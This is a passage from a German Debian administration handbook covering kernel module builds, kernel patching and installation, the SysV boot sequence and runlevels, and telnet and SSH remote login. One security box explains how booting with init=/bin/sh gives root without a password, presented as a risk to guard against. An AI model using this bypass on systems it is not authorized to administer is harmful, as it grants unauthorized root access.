Diese externen Pakete sind zahlreich und vielfältig, und wir werden sie hier nicht alle aufführen; der Befehl apt-cache search source$ kann den Suchbereich eingrenzen. Jedoch ist eine vollständige Liste nicht sehr nützlich, da es keinen besonderen Grund gibt, externe Module zu kompilieren, außer wenn Sie wissen, dass Sie sie benötigen. In diesen Fällen führt die Dokumentation des Geräts normalerweise die einzelnen Module auf, die es benötigt, um unter Linux zu funktionieren.

Lassen Sie uns zum Beispiel einen Blick auf das Paket qc-usb-source werfen: nach der Installierung ist ein .tar.gz mit den Quellen des Moduls im Verzeichnis /usr/src/ gespeichert. Diese Quellen müssen dann in das Arbeitsverzeichnis entpackt werden.

$ cd ~/kernel/ $ tar xjf /usr/src/qc-usb.tar.bz2 $ ls modules/ qc-usb

HINWEIS Die Einstellungen speichern

Beim Einsatz des Befehls make-kpkg modules-image ist es wichtig, dieselbe Einstellung von --append-to-version zu verwenden, die auch beim vorherigen Einsatz des Befehls benutzt wurde (möglicherweise bei make-kpkg kernel-image), da sein Wert den Namen des Verzeichnisses, in das die Module installiert werden, bestimmt. Dieser muss mit der Kernelversion übereinstimmen.

Beachten Sie, dass make-kpkg auch hierbei vom Verzeichnis der Kernelquellen aus aufgerufen werden muss, selbst wenn externe Module kompiliert werden, die sich in anderen Verzeichnissen befinden.

Die Modulquellen befinden sich nun im Verzeichnis ~/kernel/modules/qc-usb/. Um diese Module zu kompilieren und ein Debian-Paket zu erstellen, rufen wir den Befehl make-kpkg mit dem Ziel modules-image auf und geben den Ort der Module mittels der Umgebungsvariablen MODULE_LOC an (ohne diese Variable verwendet der Befehl /usr/src/modules/, was in unserem Fall nicht funktionieren würde). Standardmäßig versucht er, die Pakete für alle externen Module zu erstellen, die an dieser Stelle in entpackter Form zu finden sind. Mit der Option --added-modules ist es möglich, die externen Module, die kompiliert werden sollen, explizit auszuwählen. Um mehr als eines auszuwählen, werden sie mit einem Komma getrennt.

$ export MODULE_LOC=~/kernel/modules $ cd ~/kernel/linux-source-2.6.32 $ fakeroot make-kpkg --append-to-version -falcot modules-image [...] Module /home/roland/kernel/modules/qc-usb processed fine $ ls ../*.deb ../linux-image-2.6.32-falcot_1_i386.deb ../qc-usb-modules-2.6.32-falcot_0.6.6-7+1_i386.deb

TIPP Den Ablauf automatisieren

Der ganze Ablauf kann mit module-assistant automatisiert werden. Dieses Paket wurde speziell dafür entwickelt, die erforderlichen Hilfsprogramme und Pakete zu installieren, ein externes Modul zu kompilieren, und es zu installieren. So kompiliert der Befehl m-a a-i qc-usb-source den Treiber für den aktuellen Kernel und installiert ihn direkt.

Der nächste Schritt der Automatisierung erfolgt mit dkms, das den Ablauf ab dem Zeitpunkt der Installierung automatisiert; die Module, die sie (die *.dkms-Pakete) verwenden, werden zum Zeitpunkt der Installierung für jeden aktuell installierten Kernel kompiliert; DKMS berücksichtigt dabei auch das Installieren neuer Kernel, ihre Aktualisierungen und das Entfernen von Modulen, die nach dem Löschen eines Kernelpakets überflüssig sind. Dieses System ist jüngeren Datums (es existierte vor Lenny noch nicht) und hat sich noch nicht allgemein verbreitet. Aber einige Module benutzen es bereits. Zum Beispiel gewährleistet das einfache Installieren des Pakets virtualbox-ose-dkms, dass die für das Virtualisierungssystem VirtualBox erforderlichen Module für alle installierten Kernel zur Verfügung gestellt werden, ohne dass hierzu ein manueller Eingriff notwendig wäre. Man muss jedoch das zum installierten Kernel passende Paket linux-headers-* installieren. Am einfachsten geschieht dies, indem man das entsprechende Meta-Paket installiert. Wenn Sie zum Beispiel linux-images-2.6-686 verwenden, installieren Sie linux-headers-2.6-686.

8.10.6. Einen Kernel-Patch anwenden

Einige Leistungsmerkmale sind im Standardkernel nicht enthalten, da sie entweder noch nicht ausgereift sind, oder da es Meinungsverschiedenheiten zwischen dem Entwickler des Quellcodes und den Kernelbetreuern gibt. Solche Merkmale können als Patches verbreitet werden, die dann jeder auf die Kernelquellen anwenden kann.

Debian verbreitet einige dieser Patches in den Paketen linux-patch-* und kernel-patch-* (zum Beispiel linux-patch-grsecurity2, das einige der Sicherheitsrichtlinien des Kernels verschärft). Diese Pakete installieren Dateien in das Verzeichnis /usr/src/kernel-patches/.

Um einen oder mehrere dieser installierten Patches anzuwenden, rufen Sie den Befehl patch im Quellenverzeichnis auf und beginnen dann wie oben beschrieben mit der Kompilierung des Kernels.

$ cd ~/kernel/linux-source-2.6.32 $ fakeroot make-kpkg clean $ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-2.1.14-2.6.32.13-201005151340.patch.gz | patch -p1 $ fakeroot make-kpkg --append-to-version -grsec --revision 1 --initrd kernel-image $ ls ../*.deb ../linux-image-2.6.32-falcot_1_i386.deb ../qc-usb-modules-2.6.32-falcot_0.6.6-7+1_i386.deb ../linux-image-2.6.32-grsec_1_i386.deb

HINWEIS make-kpkg --added-patches

Bis zu Lenny konnte make-kpkg einen oder mehrere Patches während der Kompilierung des Kernels direkt anwenden, womit das manuelle Einfügen und Entfernen von Patches mit einer Befehlszeilenoption (in unserem Beispiel --added-patches grsecurity2) ersetzt werden konnte. Dieses Merkmal ist aus der aktuellen Version in Squeeze entfernt worden, da es angesichts der großen Vielfalt möglicher Situationen zu fehleranfällig war. In einfachen Fällen mit einem einzelnen Patch kann dieser von Hand angewendet werden. In Situationen mit einer komplexen Kombination von Patches ist es dagegen vorzuziehen, ein Versionsverwaltungssystem wie Git zu benutzen, das diese Aufgabe erleichtert (vor allem auch, weil die Patches im Allgemeinen von ihren Autoren auf diese Weise verbreitet werden).

Beachten Sie, dass ein bestimmter Patch nicht unbedingt mit jeder Kernelversion funktioniert; patch kann scheitern, wenn sie auf die Kernelquellen angewendet werden. Dann wird eine Fehlermeldung mit Einzelheiten zu diesem Fehlschlag angezeigt; in diesem Fall sollten Sie in der Dokumentation nachsehen, die im Debian-Paket des Patches zur Verfügung steht (im Verzeichnis /usr/share/doc/linux-patch-*/). Meistens gibt der Betreuer dort an, für welche Kernelversionen sein Patch gedacht ist.

8.11. Einen Kernel installieren

8.11.1. Merkmale eines Debian-Kernelpakets

WEITERE SCHRITTE Besondere Konfigurierungen

Dieser Abschnitt beschäftigt sich mit dem Standardverhalten eines Debian-Linux-Kernelpakets, jedoch kann alles mit der Datei /etc/kernel-img.conf konfiguriert werden. Ziehen Sie die dazugehörige Handbuchseite zu Rate, um mehr zu erfahren: kernel-img.conf(5)

Ein Debian-Kernelpaket installiert das Kernelabbild (vmlinuz-version), seine Konfiguration (config-version) und seine Symboltabelle (System.map-version) in das Verzeichnis /boot/. Die Symboltabelle erleichtert es Entwicklern, die Bedeutung einer Fehlermeldung des Kernels zu verstehen; ohne sie besteht ein Kernel-Oops (ein „Oops“ bei einem Kernel entspricht einer Schutzverletzung bei einem Programm auf der Anwenderebene; anders gesagt, sind dies Meldungen, die nach einer ungültigen Dereferenzierung eines Zeigers ausgegeben werden) lediglich aus numerischen Speicheradressen, die als Information nutzlos sind ohne eine Tabelle, die diese Adressen Symbolen und Funktionsnamen zuordnet. Die Module werden in das Verzeichnis /lib/modules/version/ installiert.

Die Konfigurierungsskripten des Pakets erstellen selbsttätig ein initrd-Abbild, ein Minisystem, das vom Boot-Loader in den Speicher geladen wird (daher sein Name, der „init ramdisk“ bedeutet) und vom Linux-Kernel ausschließlich dazu benutzt wird, die Module zu laden, die erforderlich sind, um auf die Geräte, die das vollständige Debian-System enthalten, zuzugreifen (zum Beispiel den Treiber für die IDE-Platten). Außerdem aktualisieren die Nachinstallationsskripten die symbolischen Verknüpfungen /vmlinuz, /vmlinuz.old, /initrd.img und /initrd.img.old, so dass sie auf die letzten beiden installierten Kernel und die entsprechenden initrd-Abbilder verweisen.

lilo kann mit diesen symbolischen Verknüpfungen umgehen, wobei es automatisch den zuletzt installierten Kernel verwendet, es aber gleichzeitig ermöglicht, den Rechner mit dem vorhergehenden Kernel hochzufahren, falls der zuletzt installierte nicht funktioniert. Hierzu ist es jedoch erforderlich, lilo nach jeder Kernel-Installierung auszuführen. Dies kann automatisiert werden, indem man do_bootloader = yes in der Datei /etc/kernel-img.conf einstellt.

In den meisten Fällen wird grub Ihr Boot-Loader sein, und die voreingestellte Konfiguration wird nach jeder Installierung oder Entfernung eines Kernels update-grub ausführen, um die Datei /boot/grub/grub.cfg (oder /boot/grub/menu.lst bei GRUB Legacy) zu aktualisieren. So können während des Starts alle installierten (und verfügbaren) Kernel im GRUB-Menü angezeigt werden.

Example 8.7. Konfigurationsdatei eines Kernelpakets

do_symlinks = yes relative_links = yes do_bootloader = no do_bootfloppy = no do_initrd = yes link_in_boot = no postinst_hook = update-grub postrm_hook = update-grub

8.11.2. Mit dpkg installieren

Die Verwendung von apt-get ist so komfortabel, dass man dabei leicht die Hilfsprogramme auf den unteren Ebenen vergisst. Aber am einfachsten ist es, einen kompilierten Kernel mit einem Befehl wie dpkg -i paket.deb zu installieren, wobei paket.deb der Name eines linux-image-Pakets ist, wie zum Beispiel linux-image-2.6.32-falcot_1_i386.deb.

Die in diesem Kapitel beschriebenen Konfigurierungsschritte sind grundlegend und können sowohl zu einem Server als auch zu einem Arbeitsplatzrechner führen, und sie können in weitem Umfang auf halbautomatisierte Weise dupliziert werden. Dennoch reichen sie nicht aus, um ein vollständig konfiguriertes System bereitzustellen. Einiges bedarf einer weiteren Konfigurierung, beginnend mit den Programmen auf unterer Ebene, die als „Unix-Dienste“ bezeichnet werden.

Chapter 9. Unix-Dienste

Dieses Kapitel behandelt eine Reihe grundlegender Dienste, die vielen Unix-Systemen gemein sind. Alle Administratoren sollten mit ihnen vertraut sein.

9.1. Systemstart

Beim Hochfahren des Rechners zeigen die zahlreichen Meldungen, die auf der Konsole vorüberrollen, viele selbsttätig ausgeführte Initialisierungen und Konfigurierungen an. Manchmal möchten Sie vielleicht den Ablauf dieser Phase etwas verändern, weshalb Sie sie gut verstehen müssen. Das ist der Zweck dieses Abschnitts.

Zunächst übernimmt das BIOS die Kontrolle über den Rechner, erkennt die Festplatten, lädt den Master Boot Record und führt den Boot-Loader aus. Der Boot-Loader übernimmt, ermittelt den Kernel auf der Festplatte, lädt ihn und führt ihn aus. Der Kernel wird dann initialisiert und beginnt damit, nach der Partition, die das Wurzel-Dateisystem enthält, zu suchen und sie einzuhängen, und führt schließlich das erste Programm aus – init. In vielen Fällen befinden sich diese „Wurzel-Partition“ und der init-Befehl jedoch in einem virtuellen Dateisystem, das nur im Arbeitsspeicher existiert (daher sein Name „initramfs“, früher „initrd“ genannt für „initialization RAM disk“). Dieses Dateisystem wird vom Boot-Loader in den Speicher geladen, häufig aus einer Datei auf einer Festplatte oder aus dem Netzwerk. Es enthält das absolute Minimum dessen, was vom Kernel benötigt wird, um das „wirkliche“ Wurzel-Dateisystem zu laden: dies können Treiber-Module für die Festplatte oder andere Geräte sein, ohne die das System nicht hochfahren kann, oder häufiger Initialisierungsskripten und -module zum Aufbau von RAID-Arrays, zum Öffnen verschlüsselter Partitionen, zur Aktivierung von LVM-Volumes usw. Sobald die Wurzel-Partition eingehängt ist, übergibt initramfs die Kontrolle an das wirkliche init, und der Rechner kehrt zum Standard-Startprozess zurück.

SONDERFALL Aus dem Netzwerk hochfahren

Bei einigen Konfigurationen kann das BIOS so eingestellt sein, dass es nicht den MBR ausführt, sondern seine Entsprechung im Netzwerk sucht, wodurch es möglich wird, Rechner ohne Festplatte zu bauen oder solche, die bei jedem Neustart vollständig neu installiert werden. Diese Option steht aber nicht auf jeder Hardware zur Verfügung und erfordert im Allgemeinen eine passende Kombination aus BIOS und Netzwerkkarte.

Das Hochfahren aus dem Netzwerk kann dazu verwendet werden, den Debian-Installer oder FAI zu starten (siehe Section 4.1, “Installationsmethoden”).

ZURÜCK ZU DEN GRUNDLAGEN Der Prozess, eine Programminstanz

Ein Prozess ist die Darstellung eines laufenden Programms im Speicher. Er umfasst alle Informationen, die für die ordnungsgemäße Ausführung der Software erforderlich sind (den Code selbst, aber auch die Daten, die er im Speicher hält, die Liste der Dateien, die er geöffnet hat, die Netzwerkverbindungen, die er eingerichtet hat usw.). Ein einzelnes Programm kann in mehreren Prozessen instanziiert sein, die nicht notwendigerweise unter verschiedenen Benutzerkennungen laufen.

Init führt mehrere Prozesse gemäß den Anweisungen der Datei /etc/inittab aus. Das erste Programm, das ausgeführt wird (und dem Schritt sysinit entspricht), ist /etc/init.d/rcS, ein Skript, das alle Programme im Verzeichnis /etc/rcS.d/ ausführt.

Unter diesen befinden sich nacheinander Programme, die zuständig sind für:

das Konfigurieren der Konsolentastatur;

das Laden von Treibern: die meisten Kernelmodule werden beim Erkennen der Hardware vom Kernel selbst geladen; zusätzliche Treiber werden selbsttätig geladen, wenn die entsprechenden Module in der Datei /etc/modules aufgeführt sind;

die Überprüfung des Dateisystems auf Integrität;

das Einhängen lokaler Partitionen;

das Konfigurieren des Netzwerks;

das Einhängen von Netzwerkdateisystemen (NFS).

SICHERHEIT Eine Shell als init verwenden, um Administratorrechte zu erlangen

Vereinbarungsgemäß ist der erste Prozess, der gestartet wird, das Programm init. Man kann dem Kernel jedoch eine init-Option übergeben, die ein anderes Programm angibt.

Jeder mit Zugang zum Rechner kann die Reset-Taste drücken und ihn so neu starten. Dann ist es an der Eingabeaufforderung des Boot-Loaders möglich, dem Kernel die Option init=/bin/sh zu übergeben und so ohne Kenntnis des Administrator-Passworts Root-Rechte zu erlangen.

Um dieses zu verhindern, kann man den Boot-Loader selbst mit einem Passwort absichern. Man könnte auch den Zugang zum BIOS schützen (ein Passwort-Schutzmechanismus ist fast immer verfügbar), ohne den ein böswilliger Eindringling jedoch den Rechner immer noch mit einem Wechseldatenträger, der sein eigenes Linux-System enthält, hochfahren könnte, und das er dann dazu benutzen könnte, um auf Daten auf den Festplatten des Rechners zuzugreifen.

Schließlich sollten Sie beachten, dass die meisten BIOS ein voreingestelltes Passwort haben. Ursprünglich dazu gedacht, denen zu helfen, die ihr Passwort vergessen haben, sind diese Passwörter inzwischen öffentlich bekannt und im Internet verfügbar (sehen Sie selbst, indem sie in einer Suchmaschine „Standard-Passwörter“ eingeben). Alle diese Sicherheitsmaßnahmen können daher zwar den unbefugten Zugriff auf den Rechner erschweren, ihn aber nicht vollständig verhindern. Es gibt keinen zuverlässigen Weg, einen Computer zu schützen, falls der Angreifer physisch auf ihn zugreifen kann; er könnte die Festplatten ausbauen, um sie an einen Rechner unter seiner Kontrolle anzuschließen oder das ganze Gerät stehlen oder den BIOS-Speicher löschen, um so das Passwort zurückzusetzen...

ZURÜCK ZU DEN GRUNDLAGEN Kernelmodule und -optionen

Kernelmodule verfügen ebenfalls über Optionen, die konfiguriert werden können, indem man Dateien im Verzeichnis /etc/modprobe.d/ erstellt. Diese Optionen werden durch Anweisungen wie die folgende festgelegt: options modulname optionsname=optionswert. Falls erforderlich, können mehrere Optionen in einer einzelnen Anweisung gesetzt werden.

Die Konfigurationsdateien sind für das Programm modprobe bestimmt, das ein Kernelmodul mit seinen Abhängigkeiten lädt (Module können auch andere Module aufrufen). Dieses Programm wird durch das Paket module-init-tools bereitgestellt.

Nach dieser Phase übernimmt init und startet die im Standard-Runlevel (der normalerweise Runlevel 2 ist) aktivierten Programme. Es führt /etc/init.d/rc 2 aus, ein Skript, das alle Dienste startet, die in /etc/rc2.d/ aufgeführt sind und mit dem Buchstaben „S“ beginnen. Die anschließenden zweistelligen Zahlen wurden früher dazu benutzt, die Reihenfolge festzulegen, in der die Dienste gestartet werden mussten. In Squeeze verwendet das Standard-Bootsystem insserv, das ausgehend von den Abhängigkeiten der Skripten alles selbsttätig zeitlich festlegt. Jedes Boot-Skript legt die Bedingungen fest, die gelten müssen, damit ein Dienst gestartet oder beendet wird (ob er zum Beispiel vor oder nach einem anderen Dienst gestartet werden muss); init startet sie dann in der Reihenfolge, die diese Bedingungen erfüllt. Die feststehende Nummerierung der Skripten wird daher nicht mehr berücksichtigt (sie müssen trotzdem weiterhin einen Namen haben, der mit „S“ beginnt gefolgt von zwei Zahlen und dem Namen des Skripts, das für die Abhängigkeiten verwendet wird). Im Allgemeinen werden grundlegende Dienste (wie das Protokollieren mit rsyslog oder die Portzuweisung mit portmap) als erste gestartet, gefolgt von Standarddiensten und der grafischen Schnittstelle (gdm).

Dieses Bootsystem auf der Grundlage von Abhängigkeiten ermöglicht es, die Neu-Nummerierung zu automatisieren, die recht mühsam wäre, wenn sie von Hand erledigt werden müsste, und es begrenzt das Risiko menschlichen Versagens, da die Festlegung der zeitlichen Abfolge in Übereinstimmung mit den angegebenen Parametern erfolgt. Ein weiterer Vorteil besteht darin, dass voneinander unabhängige Dienste zeitgleich gestartet werden können, was den Prozess des Hochfahrens beschleunigt.

ALTERNATIVE Andere Bootsysteme

Dieses Buch beschreibt das von Debian standardmäßig verwendete Bootsystem (wie es vom Paket sysvinit umgesetzt wird), das vom Unix-System System V abgeleitet und übernommen ist; es gibt jedoch auch andere.

Im ursprünglichen System V und in den Debian-Versionen bis Lenny wurde die Ausführungsreihenfolge der Initialisierungsskripten nur durch die Namen der symbolischen Verknüpfungen /etc/rc*.d/S* (und /etc/rc*.d/K* beim Herunterfahren) bestimmt. Dieses Verhalten kann wieder eingerichtet werden, indem man CONCURRENCY=none in der Datei /etc/default/rcS einstellt.

file-rc ist ein weiteres Bootsystem mit einem sehr einfachen Ablauf. Es behält das Prinzip der Runlevel bei, ersetzt jedoch die Verzeichnisse und symbolischen Verknüpfungen durch eine Konfigurationsdatei, die für init die zu startenden Prozesse und ihre Startreihenfolge angibt.

Das kürzlich erschienene System upstart ist auf Debian noch nicht vollständig erprobt. Es arbeitet ereignisbasiert: Initialisierungsskripten werden nicht mehr der Reihe nach ausgeführt, sondern als Reaktion auf Ereignisse, wie zum Beispiel die Ausführung eines anderen Skripts, von dem sie abhängen. Dieses von Ubuntu eingeführte System ist in Debian Squeeze vorhanden, aber nicht als Standard eingestellt. Es ist ein Nachfolger für sysvinit, und eine der von upstart ausgeführten Aufgaben besteht darin, die für traditionelle Systeme geschriebenen Skripten zu starten, insbesondere die aus dem Paket sysv-rc.

Eine weitere neue Option ist systemd, das jedoch noch nicht genügend ausgereift ist, um Teil von Squeeze zu sein. Seine Vorgehensweise ist derjenigen der vorhergehenden Systeme entgegengesetzt. Statt vorsorglich alle Dienste zu starten und dabei die Frage der zeitlichen Reihenfolge lösen zu müssen, startet systemd Dienste nach Bedarf, in etwa entsprechend dem Prinzip von inetd. Dies bedeutet jedoch, dass das Bootsystem wissen muss, wie Dienste bereitgestellt werden (dies könnte durch ein Socket, ein Dateisystem oder etwas anderes erfolgen), und folglich jeweils kleine Anpassungen dieser Dienste erforderlich macht.

Es gibt weitere Systeme und Betriebsarten wie zum Beispiel runit, minit und initng, die jedoch recht spezialisiert und nicht weit verbreitet sind.

init unterscheidet zwischen verschiedenen Runleveln, so dass es mit dem Befehl telinit neuer-level von einem zum anderen umschalten kann. init führt bei einem neuen Runlevel unmittelbar ein weiteres Mal /etc/init.d/rc aus. Dieses Skript startet dann die fehlenden Diensten und beendet die nicht mehr benötigten. Hierzu bezieht es sich auf den Inhalt der Datei /etc/rcX.d (wobei X den neuen Runlevel bezeichnet). Skripten, deren Namen mit „S“ beginnen (wie in „Start“), verweisen auf zu startende Dienste, solche mit „K“ (wie in „Kill“) auf zu beendende. Das Skript startet keine Dienste, die im vorherigen Runlevel bereits aktiv waren.

Standardmäßig verwendet Debian vier verschiedene Runlevel:

Level 0 wird nur vorübergehend beim Herunterfahren des Rechners benutzt. Daher enthält er nur zahlreiche „K“-Skripten.

Level 1, auch Single-User Modus genannt, entspricht dem System in rudimentärem Zustand. Er umfasst einzig grundlegende Dienste und ist hauptsächlich für den Systemunterhalt gedacht, bei dem Interaktionen mit normalen Benutzern nicht erwünscht sind.

Level 2 ist der Level für den Normalbetrieb, der Netzwerkdienste, eine grafische Schnittstelle, Benutzeranmeldungen usw. umfasst.

Level 6 gleicht Level 0, nur dass er während des Herunterfahrens vor einem Neustart verwendet wird.

Es gibt weitere Level, insbesondere 3 bis 5. Standardmäßig sind sie so konfiguriert, dass sie sich wie Level 2 verhalten. Jedoch kann der Administrator sie verändern (indem er in den entsprechenden Verzeichnissen unter /etc/rcX.d Skripten hinzufügt oder löscht), um sie so besonderen Bedürfnissen anzupassen.

Figure 9.1. Boot-Sequenz eines Rechners, auf dem Linux läuft

Alle in den verschiedenen Verzeichnissen unter /etc/rcX.d enthaltenen Skripten sind in Wirklichkeit symbolische Verknüpfungen - bei der Paketinstallierung durch das Programm update-rc.d erstellt, die auf die eigentlichen im Verzeichnis /etc/init.d/ gespeicherten Skripten verweisen. Der Administrator kann die in jedem Runlevel verfügbaren Dienste fein einstellen, indem er den Befehl update-rc.d mit angepassten Parametern erneut ausführt. Die Handbuchseite update-rc.d(1) erläutert die Syntax im Detail. Bitte beachten Sie, dass das Entfernen aller symbolischen Verknüpfungen (mit dem Parameter remove) kein gutes Verfahren zum Abschalten eines Dienstes ist. Stattdessen sollten Sie ihn einfach so konfigurieren, dass er in dem gewünschten Runlevel nicht startet (und dabei gleichzeitig die entsprechenden Aufrufe zu seinem Abschalten bewahren für den Fall, dass er im vorhergehenden Runlevel läuft). Da update-rc.d eine etwas verschachtelte Schnittstelle hat, benutzen Sie vielleicht lieber rcconf (aus dem Paket rcconf), das eine benutzerfreundlichere Schnittstelle bereitstellt.

DEBIAN-RICHTLINIEN Dienste neu starten

Die Betreuerskripten für Debian-Pakete starten manchmal bestimmte Dienste neu, um ihre Verfügbarkeit sicherzustellen, oder damit sie bestimmte Optionen berücksichtigen. Der Befehl zur Steuerung eines Dienstes - /etc/init.d/dienst vorgang - berücksichtigt Runlevel nicht, geht (fälschlicherweise) davon aus, dass der Dienst gerade benutzt wird, und kann daher falsche Vorgänge auslösen (einen Dienst starten, der bewusst abgeschaltet worden war, einen Dienst anhalten, der bereits angehalten ist usw.). Deshalb hat Debian das Programm invoke-rc.d eingeführt: dieses Programm muss von Betreuerskripten verwendet werden, um Initialisierungsskripten für Dienste aufzurufen und führt nur die erforderlichen Befehle aus. Man beachte, dass das Suffix .d hier, im Gegensatz zu seiner sonst üblichen Verwendung, in einem Programmnamen und nicht in einem Verzeichnis benutzt wird.

Schließlich startet init Steuerprogramme für mehrere virtuelle Konsolen (getty). Es zeigt eine Eingabeaufforderung an, an der es auf einen Benutzernamen wartet, und führt dann login benutzer aus, um eine Sitzung zu eröffnen.

WÖRTERVERZEICHNIS Konsole und Terminal

Die ersten Computer waren gewöhnlich in mehrere, sehr große Teile unterteilt: das Speichergehäuse und die zentrale Verarbeitungseinheit waren von den Peripheriegeräten getrennt, die von den Bedienern zu ihrer Steuerung benutzt wurden. Letztere waren Teil einer separaten Einrichtung, der „Konsole“. Dieser Begriff wurde beibehalten, aber seine Bedeutung hat sich verändert. Er wurde mehr oder weniger zu einem Synonym für „Terminal“, das aus einer Tastatur und einem Bildschirm besteht.

Im Verlaufe der Entwicklung der Computer haben Betriebssysteme schließlich mehrere virtuelle Konsolen angeboten, um gleichzeitig mehrere unabhängige Sitzungen zu ermöglichen, selbst wenn es nur eine Tastatur und einen Bildschirm gibt. Die meisten GNU/Linux-Systeme bieten sechs virtuelle Konsolen (im Textmodus) an, die durch die Eingabe der Tastenkombinationen Control+Alt+F1 bis Control+Alt+F6 zugänglich sind.

Im weiteren Sinne können die Begriffe „Konsole“ und „Terminal“ sich auch auf einen Terminal-Emulator in einer grafischen X11-Sitzung beziehen (wie zum Beispiel xterm, gnome-terminal oder konsole).

9.2. Anmelden aus der Ferne

Es ist für einen Administrator wichtig, sich aus der Ferne mit einem Rechner verbinden zu können. Server, die in ihrem eigenen Raum eingeschlossen sind, sind selten dauerhaft mit Tastaturen und Bildschirmen ausgestattet - aber sie sind mit dem Netzwerk verbunden.

ZURÜCK ZU DEN GRUNDLAGEN Client, Server

Ein System, bei dem mehrere Prozesse miteinander kommunizieren. wird häufig mit dem bildlichen Ausdruck „Client-Server“ beschrieben. Der Server ist das Programm, das Anfragen vom Client entgegen nimmt und ausführt. Der Client steuert die Vorgänge, der Server tut nichts aus eigener Initiative.

9.2.1. Anmelden aus der Ferne: telnet

Das telnet-Protokoll, der älteste Dienst zum Anmelden aus der Ferne, ist hinsichtlich der Sicherheit der schlechteste. Daten und Passwörter werden im Klartext übertragen - das heißt unverschlüsselt, so dass sie ungeschützt gegenüber jedem sind, der im Netzwerk herumspioniert. Falls nötig, sollten Sie diesen veralteten Dienst, der nicht mehr standardmäßig installiert wird, entfernen:

# apt-get remove telnetd

Es gibt jedoch eine überarbeitete Version, die seine schlimmsten Mängel behebt; sie verwendet SSL (Secure Socket Layer) zur Authentifizierung des Gegenübers und verschlüsselt Mitteilungen. Die Pakete telnetd-ssl und telnet-ssl stellen die Server- beziehungsweise Client-Software bereit.

WÖRTERVERZEICHNIS Authentifizierung, Verschlüsselung

Wenn Sie einem Client die Fähigkeit geben müssen, auf einem Server Aktionen auszuführen oder auszulösen, ist Sicherheit wichtig. Sie müssen die Identität des Clients sicherstellen; dies heißt Authentifizierung. Die Identität besteht normalerweise aus einem Passwort, das geheimzuhalten ist, da es sonst von jedem anderen Client erlangt werden könnte. Dies ist der Zweck von Verschlüsselung, einer Art der Codierung, die es zwei Systemen ermöglicht, vertrauliche Informationen über einen öffentlichen Kanal auszutauschen, ohne dabei für andere lesbar zu sein.

Authentifizierung und Verschlüsselung werden häufig zusammen genannt, weil beide oft gleichzeitig benutzt werden, und weil sie gewöhnlich durch ähnliche mathematische Konzepte umgesetzt werden.

9.2.2. Sicheres Anmelden aus der Ferne: SSH

Das SSH-Protokoll (Secure SHell) wurde im Gegensatz zu telnet unter Beachtung von Sicherheit und Zuverlässigkeit entwickelt. Verbindungen unter Verwendung von SSH sind sicher: der Partner wird authentifiziert und aller Datenaustausch erfolgt verschlüsselt.

KULUTUR SSH im Vergleich zu RSH

SSH-Programme stellen sichere Varianten der Programme aus der klassischen RSH-Familie (Remote SHell) bereit - rsh, rlogin und rcp. Diese sind noch in den Paketen rsh-server und rsh-client verfügbar, von ihrer Verwendung wird aber dringend abgeraten.

SSH bietet auch zwei Dateiübertragungsdienste an. scp ist ein Befehlszeilenprogramm, das wie cp benutzt werden kann, nur dass jedem Pfad zu einem anderen Rechner der Name dieses Rechners gefolgt von einem Doppelpunkt vorangestellt wird.

$ scp datei rechner:/tmp/

sftp ist ein interaktiver Befehl, ähnlich wie ftp. In einer einzigen Sitzung kann sftp mehrere Dateien übertragen, und es ist möglich, mit ihm Dateien auf einem entfernten Rechner zu bearbeiten (löschen, umbenennen, Berechtigungen ändern usw.).

Debian verwendet OpenSSH, eine freie Version von SSH, die vom OpenBSD-Projekt betreut wird (einem freien Betriebssystem, das auf dem BSD-Kernel aufbaut und seinen Schwerpunkt auf Sicherheit setzt), und eine Abspaltung der ursprünglich vom finnischen Unternehmen SSH Communications Security Corp. entwickelten SSH-Software. Dieses Unternehmen entwickelte SSH ursprünglich als freie Software, entschied sich jedoch schließlich, seine Entwicklung unter einer proprietären Lizenz fortzusetzen. Das OpenBSD-Projekt schuf daraufhin OpenSSH, um eine freie Version von SSH zu bewahren.

ZURÜCK ZU DEN GRUNDLAGEN Abspaltung

Eine „Abspaltung“ im Softwarebereich ist ein neues Vorhaben, das als Klon eines bestehenden Vorhabens beginnt und mit ihm konkurriert. Von da an entwickeln sich beide Programme, was neue Entwicklungen angeht, gewöhnlich schnell auseinander. Eine Abspaltung ist häufig die Folge von Meinungsverschiedenheiten innerhalb des Entwicklungsteams.

Die Option, ein Vorhaben abzuspalten, ist eine direkte Folge der Eigenart freier Software; eine Abspaltung ist ein heilsamer Vorgang, wenn sie die Fortführung eines Vorhabens als freie Software ermöglicht (zum Beispiel im Falle von Lizenzänderungen). Dagegen ist eine Abspaltung, die sich aus technischen oder persönlichen Meinungsverschiedenheiten ergibt, häufig eine Verschwendung menschlicher Ressourcen; eine andere Lösung wäre vorzuziehen. Auch der Zusammenschluss zweier Vorhaben, die früher durch eine Abspaltung gegangen sind, ist nicht gänzlich unbekannt.

Seit Etch ist OpenSSH in zwei Pakete aufgeteilt. Der Client-Teil befindet sich im Paket openssh-client und der Server-Teil im Paket openssh-server. Das Metapaket ssh ist von beiden Teilen abhängig und erleichtert die Installation beider (apt-get install ssh).

WEITERE SCHRITTE Hardwarebeschleunigung für SSH

Manche Hardware stellt von Haus aus Unterstützung für mathematische Funktionen zur Verfügung, die zur Verschlüsselung benutzt werden, wodurch die erforderlichen Berechnungen beschleunigt werden können und damit die Leistung einiger Hilfsprogramme erhöht (und die Belastung des Hauptprozessors verringert) wird. Zu diesen Hilfsprogrammen zählt insbesondere die OpenSSL-Bibliothek, die ihrerseits von OpenSSH verwendet wird.

Obwohl es ein Vorhaben zur Treiberstandardisierung (hauptsächlich auf Kernel-Ebene) gibt, wird die Vielfalt der Hardware noch immer ungleich und heterogen behandelt. So wird zum Beispiel das Padlock-System, das in Via-C3-Prozessoren enthalten ist, nur teilweise unterstützt. Obwohl der Linux-Kernel verschiedene Verschlüsselungsalgorithmen bietet, erlaubt die OpenSSL-0.9.8-Bibliothek in Squeeze nur die Weitergabe von AES-Verschlüsselungen an die dafür vorgesehene Hardware, nicht jedoch von SHA-Algorithmen; für Letzteres muss man die Bibliothek mit einem Patch neu kompilieren.

→ http://www.logix.cz/michal/devel/padlock/

9.2.2.1. Schlüsselbasierte Authentifizierung

Jedes Mal, wenn sich jemand über SSH anmeldet, fragt der entfernte Server nach einem Passwort zur Authentifizierung des Benutzers. Dies kann problematisch sein, wenn man eine Verbindung automatisieren möchte, oder wenn man ein Hilfsprogramm verwendet, das häufige Verbindungen über SSH benötigt. Daher bietet SSH ein schlüsselbasiertes Authentifizierungssystem.

